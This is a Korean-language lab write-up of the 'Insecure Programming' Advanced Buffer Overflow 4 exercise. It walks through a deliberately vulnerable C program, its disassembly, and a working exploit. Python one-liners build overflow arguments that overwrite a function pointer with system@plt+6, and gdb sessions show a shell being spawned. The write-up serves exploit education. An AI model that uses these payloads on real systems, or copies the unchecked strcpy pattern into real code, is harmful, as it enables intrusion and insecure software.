Insecure Programming by example
Advanced Buffer Overflow 4
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}
Advanced Buffer Overflow 3과 다른 몇 가지 특징을 볼 수 있다.
먼저 main
함수 외부에서 전역 변수로 fn
함수 포인터를 선언한 것을 볼 수 있다. 그리고 활용 인자 값을 추가하여 첫 번째 인자는 스택에 저장하고 두 번째 인자는 malloc
함수를 활용하여 힙에 저장하고, 세 번째 인자는 fn
함수 포인터로 할당한 puts
함수의 인자로 전달하고 있다. 마지막으로 exit
함수를 이용하여 프로그램을 종료하는 것 대신 while
무한 반복이 설정되어 있다.
# objdump -d -M intel ./abo4 | grep -A 39 "<main>"
08048444 <main>:
8048444: 55 push ebp
8048445: 89 e5 mov ebp,esp
8048447: 81 ec 28 01 00 00 sub esp,0x128
804844d: 83 e4 f0 and esp,0xfffffff0
8048450: b8 00 00 00 00 mov eax,0x0
8048455: 29 c4 sub esp,eax
8048457: 8b 45 0c mov eax,DWORD PTR [ebp+12]
804845a: 83 c0 08 add eax,0x8
804845d: 8b 00 mov eax,DWORD PTR [eax]
804845f: 89 04 24 mov DWORD PTR [esp],eax
8048462: e8 d9 fe ff ff call 8048340 <strlen@plt>
8048467: 40 inc eax
8048468: 89 04 24 mov DWORD PTR [esp],eax
804846b: e8 f0 fe ff ff call 8048360 <malloc@plt>
8048470: 89 45 f4 mov DWORD PTR [ebp-12],eax
8048473: c7 05 bc 96 04 08 70 mov DWORD PTR ds:0x80496bc,0x8048370
804847a: 83 04 08
804847d: 8b 45 0c mov eax,DWORD PTR [ebp+12]
8048480: 83 c0 04 add eax,0x4
8048483: 8b 00 mov eax,DWORD PTR [eax]
8048485: 89 44 24 04 mov DWORD PTR [esp+4],eax
8048489: 8d 85 e8 fe ff ff lea eax,[ebp-0x118]
804848f: 89 04 24 mov DWORD PTR [esp],eax
8048492: e8 b9 fe ff ff call 8048350 <strcpy@plt>
8048497: 8b 45 0c mov eax,DWORD PTR [ebp+12]
804849a: 83 c0 08 add eax,0x8
804849d: 8b 00 mov eax,DWORD PTR [eax]
804849f: 89 44 24 04 mov DWORD PTR [esp+4],eax
80484a3: 8b 45 f4 mov eax,DWORD PTR [ebp-12]
80484a6: 89 04 24 mov DWORD PTR [esp],eax
80484a9: e8 a2 fe ff ff call 8048350 <strcpy@plt>
80484ae: 8b 45 0c mov eax,DWORD PTR [ebp+12]
80484b1: 83 c0 0c add eax,0xc
80484b4: 8b 00 mov eax,DWORD PTR [eax]
80484b6: 89 04 24 mov DWORD PTR [esp],eax
80484b9: a1 bc 96 04 08 mov eax,ds:0x80496bc
80484be: ff d0 call eax
80484c0: eb fe jmp 80484c0 <main+0x7c>
80484c2: 90 nop
프롤로그가 끝난 후 두 번째 인자 값([[ebp+12] + 0x8]
)을 strlen
함수 인자로 전달하여 값의 길이를 구한다. 구해진 길이에 1을 더한 후 (inc eax
) malloc
함수에 전달하여 힙 공간을 할당한다. 할당된 힙 주소를 스택(ebp-12
)에 저장한다.
ds:0x80496bc
에 0x8048370
을 저장한다. 0x8048370
은 puts
함수 주소로 예상되며 ds:0x80496bc
에는 system
함수 주소가 기록되어 있다. (main 함수 호출 전 수행)
첫 번째 인자 값([[ebp+12] + 0x4]
)와 ebp-0x118
을 strcpy
함수 인자 값으로 전달하여 첫 번째 인자 값을 ebp-0x118
위치에 복사한다.
두 번째 인자 값([[ebp+12] + 0x8]
)과 malloc
으로 할당한 힙 영역 주소가 저장된 ebp-12
를 strcpy
함수 인자 값으로 전달하여 두 번째 인자 값을 힙 영역에 복사한다.
세 번째 인자 값([[ebp+12] + 0xc]
)을 puts
함수 포인터(ds:0x80496bc
)의 인자로 하여 함수를 호출한다.
자신의 위치로 점프(jmp 80484c0
)하여 무한 반복을 수행한다.
Exploit
이번 문제는 두 개의 strcpy
함수를 활용하여 /bin/sh
를 실행할 수 있다.
- 첫 번째
strcpy
함수에서buf
배열 버퍼 오버플로우를 유발하여ebp-12
(pbuf
)에 저장된 주소를fn
함수 주소로 덮어쓴다. - 두 번째
strcpy
함수에서ebp-12
(fn
)에system
함수 주소를 덮어쓴다.
따라서 첫 번째 인자는 오버플로우 및 fn
함수 주소, 두 번째 인자는 system
함수 주소, 세 번째 인자는 system
함수 인자 값으로 구성한다.
하지만 system
함수 주소는 0x08048320
으로 공백 문자(0x20
)가 포함되어 있어 바로 사용이 불가하다.
$ objdump -d -M intel ./abo4 | grep system -A 4
08048320 <system@plt>:
8048320: ff 25 98 96 04 08 jmp DWORD PTR ds:0x8049698
8048326: 68 08 00 00 00 push 0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x18>
그러므로 0x0848326
을 사용하도록 하자.
python -c "print 'A'*268+'\xbc\x96\x04\x08'" > arg1
python -c "print '\x26\x83\x04\x08'" > arg2
생성한 인자 값들을 이용하여 gdb에서 /bin/sh
가 실행되는지 확인하자.
$ gdb -q abo4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r $(cat arg1) $(cat arg2) /bin/sh
Starting program: /home/iamroot/workspace/abo/4/abo4 $(cat arg1) $(cat arg2) /bin/sh
sh-3.2$ q
sh: q: command not found
sh-3.2$ exit
exit
주요 포인트에 브레이크 포인트를 설정하여 과정을 확인해보자.
$ gdb -q abo4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048444 <main+0>: push ebp
0x08048445 <main+1>: mov ebp,esp
0x08048447 <main+3>: sub esp,0x128
0x0804844d <main+9>: and esp,0xfffffff0
0x08048450 <main+12>: mov eax,0x0
0x08048455 <main+17>: sub esp,eax
0x08048457 <main+19>: mov eax,DWORD PTR [ebp+12]
0x0804845a <main+22>: add eax,0x8
0x0804845d <main+25>: mov eax,DWORD PTR [eax]
0x0804845f <main+27>: mov DWORD PTR [esp],eax
0x08048462 <main+30>: call 0x8048340 <strlen@plt>
0x08048467 <main+35>: inc eax
0x08048468 <main+36>: mov DWORD PTR [esp],eax
0x0804846b <main+39>: call 0x8048360 <malloc@plt>
0x08048470 <main+44>: mov DWORD PTR [ebp-12],eax
0x08048473 <main+47>: mov DWORD PTR ds:0x80496bc,0x8048370
0x0804847d <main+57>: mov eax,DWORD PTR [ebp+12]
0x08048480 <main+60>: add eax,0x4
0x08048483 <main+63>: mov eax,DWORD PTR [eax]
0x08048485 <main+65>: mov DWORD PTR [esp+4],eax
0x08048489 <main+69>: lea eax,[ebp-0x118]
0x0804848f <main+75>: mov DWORD PTR [esp],eax
0x08048492 <main+78>: call 0x8048350 <strcpy@plt>
0x08048497 <main+83>: mov eax,DWORD PTR [ebp+12]
0x0804849a <main+86>: add eax,0x8
0x0804849d <main+89>: mov eax,DWORD PTR [eax]
0x0804849f <main+91>: mov DWORD PTR [esp+4],eax
0x080484a3 <main+95>: mov eax,DWORD PTR [ebp-12]
0x080484a6 <main+98>: mov DWORD PTR [esp],eax
0x080484a9 <main+101>: call 0x8048350 <strcpy@plt>
0x080484ae <main+106>: mov eax,DWORD PTR [ebp+12]
0x080484b1 <main+109>: add eax,0xc
0x080484b4 <main+112>: mov eax,DWORD PTR [eax]
---Type <return> to continue, or q <return> to quit---
0x080484b6 <main+114>: mov DWORD PTR [esp],eax
0x080484b9 <main+117>: mov eax,ds:0x80496bc
0x080484be <main+122>: call eax
0x080484c0 <main+124>: jmp 0x80484c0 <main+124>
End of assembler dump.
(gdb) b *main+47
Breakpoint 1 at 0x8048473
(gdb) b *main+83
Breakpoint 2 at 0x8048497
(gdb) b *main+101
Breakpoint 3 at 0x80484a9
(gdb) b *main+122
Breakpoint 4 at 0x80484be
(gdb) r $(cat arg1) $(cat arg2) /bin/sh
Starting program: /home/iamroot/workspace/abo/4/abo4 $(cat arg1) $(cat arg2) /bin/sh
Breakpoint 1, 0x08048473 in main ()
(gdb) x *0x80496bc
0x8048320 <system@plt>: 0x969825ff
(gdb) ni
0x0804847d in main ()
(gdb) x *0x80496bc
0x8048370 <puts@plt>: 0x96ac25ff
(gdb) c
Continuing.
Breakpoint 2, 0x08048497 in main ()
(gdb) x $ebp -12
0xbffff6ac: 0x080496bc
(gdb) x 0x080496bc
0x80496bc <fn>: 0x08048370
(gdb) c
Continuing.
Breakpoint 3, 0x080484a9 in main ()
(gdb) x *0x80496bc
0x8048370 <puts@plt>: 0x96ac25ff
(gdb) ni
0x080484ae in main ()
(gdb) x *0x80496bc
0x8048326 <system@plt+6>: 0x00000868
(gdb) c
Continuing.
Breakpoint 4, 0x080484be in main ()
(gdb) x $eax
0x8048326 <system@plt+6>: 0x00000868
(gdb) c
Continuing.
sh-3.2$
전체 목록 보기 : Insecure programming
진행 환경 :# cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`